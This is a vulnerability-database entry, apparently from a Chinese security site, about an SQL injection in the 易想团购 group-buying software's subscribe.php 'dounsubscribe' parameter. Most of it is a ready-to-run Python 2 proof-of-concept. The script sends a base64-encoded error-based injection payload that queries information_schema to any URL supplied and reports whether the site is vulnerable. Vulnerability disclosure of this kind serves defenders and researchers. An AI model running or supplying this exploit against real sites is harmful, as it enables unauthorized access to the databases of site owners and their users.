欢迎致电:4000-600-654服务时间:9:00 - 21:00

易想团购 subscribe.php dounsubscribe参数 SQL注入

漏洞信息

漏洞编号:JDSEC-POC-20141208-3276

漏洞名称:易想团购 subscribe.php dounsubscribe参数 SQL注入

提交作者:5up3rc

提交日期:2014-12-08 12:39:21

信息来源:http://www.it165.net/safe/html/201308/701.html

漏洞描述

code参数未过滤导致SQL注入

POC详情

#!/usr/bin/env python
# coding=utf-8

import sys
import requests


def scan(target):
	info = {
	'name':u'易想团购 subscribe.php dounsubscribe参数 SQL注入',
	'date':'2014-12-8',
	'author':'5up3rc',
	'poc':'/subscribe.php?act=dounsubscribe&code=YScgYW5kKHNlbGVjdCAxIGZyb20oc2VsZWN0IGNvdW50KCopLGNvbmNhdCgoc2VsZWN0IChzZWxlY3QgKHNlbGVjdCBjb25jYXQoMHg3ZSxtZDUoMy4xNDE1KSwweDdlKSkpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBsaW1pdCAwLDEpLGZsb29yKHJhbmQoMCkqMikpeCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgZ3JvdXAgYnkgeClhKSN8YWFhYQ=='
	}
	headers = {
	'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0',
	'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'	
	}
	audit_request = requests.get(target + info['poc'],headers=headers)
	audit_request.close()
	if audit_request.status_code == 200:
		if audit_request.text.find('63e1f04640e83605c1d177544a5a0488') !=-1 or audit_request.text.find('You have an error in your SQL syntax') !=-1:
			print u'[!]' + info['name']
			print '[*]' + target + info['poc']
		else:
			print u'[!]audit error'
	else:
		sys.exit(1)
			

if __name__ == '__main__':

    if len(sys.argv) < 2:
    	print "Usage: python easethink_subscribe_dounsubscribe.py [target]\n"
        print "Example: python easethink_subscribe_dounsubscribe.py  http://www.xxx.com\n"
        sys.exit(1)
    else:
    	target = sys.argv[1].lower()
    scan(target)